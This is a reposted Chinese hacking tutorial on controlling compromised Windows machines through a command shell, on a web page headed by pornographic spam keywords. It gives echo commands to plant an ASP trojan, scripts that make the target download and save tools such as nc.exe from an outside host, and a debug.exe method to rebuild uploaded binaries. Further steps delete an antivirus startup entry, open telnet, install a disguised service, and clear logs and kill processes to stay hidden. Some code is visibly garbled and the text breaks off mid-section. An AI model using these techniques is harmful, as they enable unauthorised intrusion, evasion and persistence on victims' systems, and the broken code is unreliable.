人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動(dòng)態(tài)

Cmd模式下的入侵技術(shù)大全

發(fā)布日期:2021-12-13 07:54 | 文章來源:源碼之家
  Cmd Shell(命令行交互)是黑客永恒的話題,它歷史悠久并且長盛不衰。
  本文旨在介紹和總結(jié)一些在命令行下控制Windows系統(tǒng)的方法。這些方法都是盡可能地利用系統(tǒng)自帶的工具實(shí)現(xiàn)的。
  文件傳輸
  對于溢出漏洞獲得的cmd shell,最大的問題就是如何上傳文件。由于蠕蟲病毒流行,連接ipc$所需要的139或445端口被路由封鎖。再加上WinXP系統(tǒng)加強(qiáng)了對ipc$的保護(hù),通過ipc$及默認(rèn)共享上傳文件的手段基本無效了。ftp和tftp是兩種可行的方法,介于其已被大家熟知,本文就不介紹了。還有三種大家熟悉的辦法,作為總結(jié)我再提一下:
  1,用Echo命令寫ASP木馬。
  前提當(dāng)然是目標(biāo)主機(jī)上已經(jīng)安裝了IIS。
  一般的ASP木馬"體積"較大,不適合直接用echo命令寫入文件,這里我提供一個(gè)小巧的。
  直接給出echo版:
  @echo ^ >up.asp
  注意,只有一行,中間沒有回車符。
  生成的up.asp不能用瀏覽器訪問,只能用下面這個(gè)腳本:
  with wscript
  if .arguments.count
  將其保存為up.vbs。假設(shè)目標(biāo)IP為123.45.67.89,up.asp在IIS虛擬根目錄下,需要上傳的文件為nc.exe,上傳后保存為mm.exe,相應(yīng)的命令是:
  cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
  注意,這個(gè)命令是在本地命令行中執(zhí)行的,不要弄錯(cuò)了。另外,通過IIS上傳會(huì)留日志,要記得清除哦。
  2,自動(dòng)下載到網(wǎng)頁緩存中。
  例如:start its:http://www.sometips.com/soft/ps.exe
  在遠(yuǎn)程shell中執(zhí)行上面這個(gè)命令后,ps.exe已經(jīng)下載到目標(biāo)主機(jī)的網(wǎng)頁緩存目錄中了。然后:
  cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
  dir /s ps[1].exe
  于是獲得ps.exe的具體位置(每臺(tái)主機(jī)都不一樣),如:
  C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目錄
  2004-01-24 14:24 49,152 ps[1].exe
  1 個(gè)文件 49,152 字節(jié)
  最后:
  copy AB094JIT\ps[1].exe c:\path\ps.exe
  del AB094JIT\ps[1].exe
  補(bǔ)充說明:
  對于以服務(wù)為啟動(dòng)方式的后門所提供的shell,其用戶身份一般是System。此時(shí)網(wǎng)頁緩存目錄的位置就如例子中所示。如果shell的身份不是System,需要修改Default User為相應(yīng)的用戶名。
  本方法會(huì)啟動(dòng)一個(gè)IE進(jìn)程,記得要將它殺掉。如果是System身份的shell,不會(huì)在本地出現(xiàn)窗口而暴露。
  另外,用ms-its代替its效果完全一樣。
  3,Echo一個(gè)腳本下載web資源。
  現(xiàn)成的工具是iGet.vbs。我再給出一個(gè)含必要容錯(cuò)功能的版本。
  仍然是echo版:
  @echo with wscript:if .arguments.count^ dl.vbs
  @echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
  @echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:" web.status:.quit >> dl.vbs
  @echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
  舉例--下載ps.exe并保存到c:\path下:
  cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
  注意,這是在遠(yuǎn)程shell中執(zhí)行的。
  4,Echo經(jīng)過編碼的任何文件,再用腳本 debug還原。
  前面兩個(gè)辦法都不能保證穿過防火墻。而且,除非自己架Web服務(wù)器,一般的Web資源都是以壓縮文件的形式提供。如果目標(biāo)主機(jī)沒有解壓工具,還是沒轍。那么只有出"殺手锏"了!
  echo命令加重定向操作符可以寫入ASCII碼小于128的字符,但大于等于128的不行。只有將本地文件重新"編碼"為可顯示的字符,才能方便地寫入遠(yuǎn)程主機(jī)。首先能想到的就是base64編碼,即email附件的編碼方式。但vbs不支持位操作,因此編碼和解碼較復(fù)雜。更麻煩的是,腳本以二進(jìn)制流方式處理文件的能力很差。(ADODB.Stream可以以流方式寫文件,但我無法構(gòu)造出相應(yīng)的數(shù)據(jù)類型。二進(jìn)制數(shù)據(jù)流可以用midb函數(shù)轉(zhuǎn)成字符串,但反過來不行。我花了兩天時(shí)間,還是沒能解決這個(gè)問題。如果有誰能用vbs或js寫任意的字節(jié)數(shù)據(jù)到文件中,懇請賜教。)
  無奈只有請debug.exe出馬了。原理很多人都知道,我不介紹了,直接給出成果--編碼腳本:
  fp=wscript.arguments(0)
  fn=right(fp,len(fp)-instrrev(fp,"\"))
  with createobject("adodb.stream")
  .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
  end with
  sll=sl mod 65536:slh=sl\65536
  with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
  .write "@echo str="""
  for i=1 to sl
  bt=ascb(midb(str,i,1))
  if bt>debug.vbs" vbcrlf "@echo """
  next
  .writeline """>>debug.vbs" vbcrlf "@echo with wscript.stdout:r=vbcrlf"_
  ":for i=1 to len(str) step 48:.write ""e"" hex(256 (i-1)/2)"_
  ":for j=i to i 46 step 2:.write "" "" mid(str,j,2):next:.write r:next>>debug.vbs"
  .writeline "@echo .write ""rbx"" r """ hex(slh) """ r ""rcx"" r """ hex(sll)_
  """ r ""n debug.tmp"" r ""w"" r ""q"" r:end with"_
  ">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
  end with
  將其保存為echo.vbs。假設(shè)要上傳nc.exe,那么在本地命令行輸入命令:
  cscript echo.vbs nc.exe
  也可以直接把要傳輸?shù)奈募膱D標(biāo)拖放到腳本文件的圖標(biāo)上。
  稍等一會(huì)兒,在當(dāng)前目錄下將生成一個(gè)nc.exe.bat。用記事本等編輯工具打開它,可以看到如下內(nèi)容:
  @echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
  @echo "504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
  @echo "002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
  @echo "70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000
000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
  ............
  ............(省略若干行)
  ............
  @echo "">>debug.vbs
  @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e" hex(256 (i-1)/2):for j=i to i 46 step 2:.write " " mid(str,j,2):next:.write r:next>>debug.vbs
  @echo .write "rbx" r "0" r "rcx" r "E800" r "n debug.tmp" r "w" r "q" r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
  全選 -》 復(fù)制 -》 切換到遠(yuǎn)程命令行窗口 -》 粘貼。
  如果網(wǎng)速不是很慢的話,整個(gè)上傳過程大約需要20秒。
  幾點(diǎn)說明:
  1,大的文件傳輸不穩(wěn)定,可能會(huì)使shell死掉。所以文件越小效果越好。建議原文件不要超過100KB。
  2,在傳輸大文件前,可以先傳個(gè)小的文件作為"熱身",讓16位虛擬機(jī)ntvdm.exe駐留后臺(tái)。所有文件傳完后,為隱蔽起見,應(yīng)該把ntvdm進(jìn)程殺掉。
  3,某些cmd shell每個(gè)命令都需要附加兩個(gè)回車,那nc.exe.bat就不能直接用了。
  4,單個(gè)命令的長度是有限的,所以不能只用一個(gè)echo完成全部任務(wù)。而且,對于nc提供的cmd shell,稍長一些的命令竟然會(huì)使shell自動(dòng)退出(溢出了?)。你可以修改"i mod 128=0"語句中的128以調(diào)整每個(gè)echo命令的長度。每次echo的字符為這個(gè)數(shù)乘以2。
  5,解碼過程沒有腳本參與也是可以的。使用腳本的目的是減少傳輸?shù)臄?shù)據(jù)量(因?yàn)閴嚎s了數(shù)據(jù))。如果有時(shí)間,我會(huì)寫一個(gè)更完善的腳本,加強(qiáng)數(shù)據(jù)壓縮能力,增加數(shù)據(jù)校驗(yàn)功能。
  能上傳文件當(dāng)然一切都好辦了,但很多操作用Windows自帶的工具更方便。在你到處尋找需要的工具時(shí),不要忘了Windows本身。
  系統(tǒng)配置
  這節(jié)包括三方面內(nèi)容:注冊表、服務(wù)和組策略。
  先說注冊表。很多命令行下訪問注冊表的工具都是交互式的,溢出產(chǎn)生的shell一般不能再次重定向輸入/輸出流,所以無法使用。
  好在系統(tǒng)自帶的regedit.exe足夠用了。
  1,讀取注冊表
  先將想查詢的注冊表項(xiàng)導(dǎo)出,再用type查看,比如:
  C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
  C:\>type 1.reg | find "PortNumber"
  "PortNumber"=dword:00000d3d
  C:\>del 1.reg
  所以終端服務(wù)的端口是3389(十六進(jìn)制d3d)
  2,修改/刪除注冊表項(xiàng)
  先echo一個(gè)reg文件,然后導(dǎo)入,比如:
  echo Windows Registry Editor Version 5.00 >1.reg
  echo. >>1.reg
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
  echo "TelnetPort"=dword:00000913 >>1.reg
  echo "NTLM"=dword:00000001 >>1.reg
  echo. >>1.reg
  regedit /s 1.reg
  將telnet服務(wù)端口改為2323(十六進(jìn)制913),NTLM認(rèn)證方式為1。
  要?jiǎng)h除一個(gè)項(xiàng),在名字前面加減號,比如:
  [-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
  要?jiǎng)h除一個(gè)值,在等號后面用減號,比如:
  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
  "KAVRun"=-
  3,用inf文件訪問注冊表
  上面對注冊表的三個(gè)操作,也可以用下面這個(gè)inf文件來實(shí)現(xiàn):
  [Version]
  Signature="$WINDOWS NT$"
  [DefaultInstall]
  AddReg=My_AddReg_Name
  DelReg=My_DelReg_Name
  [My_AddReg_Name]
  HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
  HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
  [My_DelReg_Name]
  HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
  HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
  將它寫入c:\path\reg.inf然后用下面這個(gè)命令"安裝":
  rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
  幾點(diǎn)說明:
  1,[Version]和[DefaultInstall]是必須的,AddReg和DelReg至少要有一個(gè)。My_AddReg_Name和My_DelReg_Name可以自定義。
  0x00010001表示REG_DWORD數(shù)據(jù)類型,0x00000000或省略該項(xiàng)(保留逗號)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
  2323也可以用0x913代替。
  關(guān)于inf文件的詳細(xì)信息,可以參考DDK幫助文檔。
  2,InstallHinfSection是大小寫敏感的。它和setupapi之間只有一個(gè)逗號,沒有空格。
  128表示給定路徑,該參數(shù)其他取值及含義參見MSDN。
  特別注意,最后一個(gè)參數(shù),必須是inf文件的全路徑,不要用相對路徑。
  3,inf文件中的項(xiàng)目都是大小寫不敏感的。
  接下來說服務(wù)。如果想啟動(dòng)或停止服務(wù),用net命令就可以。但想增加或刪除服務(wù),需要用SC,instsrv.exe,xnet.exe等工具。而這些工具系統(tǒng)沒有自帶(XP和2003自帶SC)。導(dǎo)入注冊表雖然可以,但效果不好,原因后面會(huì)提到。還是得靠inf文件出馬。
  增加一個(gè)服務(wù):
  [Version]
  Si
  gnature="$WINDOWS NT$"
  [DefaultInstall.Services]
  AddService=inetsvr,,My_AddService_Name
  [My_AddService_Name]
  DisplayName=Windows Internet Service
  Description=提供對 Internet 信息服務(wù)管理的支持。
  ServiceType=0x10
  StartType=2
  ErrorControl=0
  ServiceBinary= %\inetsvr.exe

版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開通

自選配置、實(shí)時(shí)開通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問服務(wù)

1對1客戶咨詢顧問

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部